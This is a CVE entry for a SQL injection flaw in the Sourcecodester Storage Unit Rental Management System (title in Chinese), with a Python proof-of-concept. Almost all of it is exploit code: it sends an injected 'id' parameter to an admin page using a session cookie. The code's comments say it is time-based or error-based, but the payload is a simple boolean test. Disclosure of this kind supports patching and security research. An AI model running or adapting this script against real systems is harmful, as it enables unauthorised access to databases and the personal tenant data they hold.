CVE-2026-37591: Sourcecodester存储租赁管理系统SQL注入漏洞

# Exploit Title: Sourcecodester Storage Unit Rental Management System v1.0 SQL Injection PoC # Date: 2026-04-14 # Vendor: Sourcecodester # Vulnerable File: /storage/admin/tenants/view_details.php import requests def check_sqli(url, cookie): """Check for SQL Injection vulnerability""" # Assuming the vulnerable parameter is 'id' # Payload attempts a time-based blind or error-based injection payload = "?id=1' AND 1=1-- -" full_url = f"{url}/storage/admin/tenants/view_details.php{payload}" headers = { "Cookie": cookie, "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {full_url}") print(f"[+] Response Length: {len(response.text)}") print("[+] Check application response for database errors or data leakage.") else: print("[-] Exploit failed or endpoint not reachable.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target admin_cookie = "PHPSESSID=admin_session_id" # Requires Admin Privilege check_sqli(target, admin_cookie)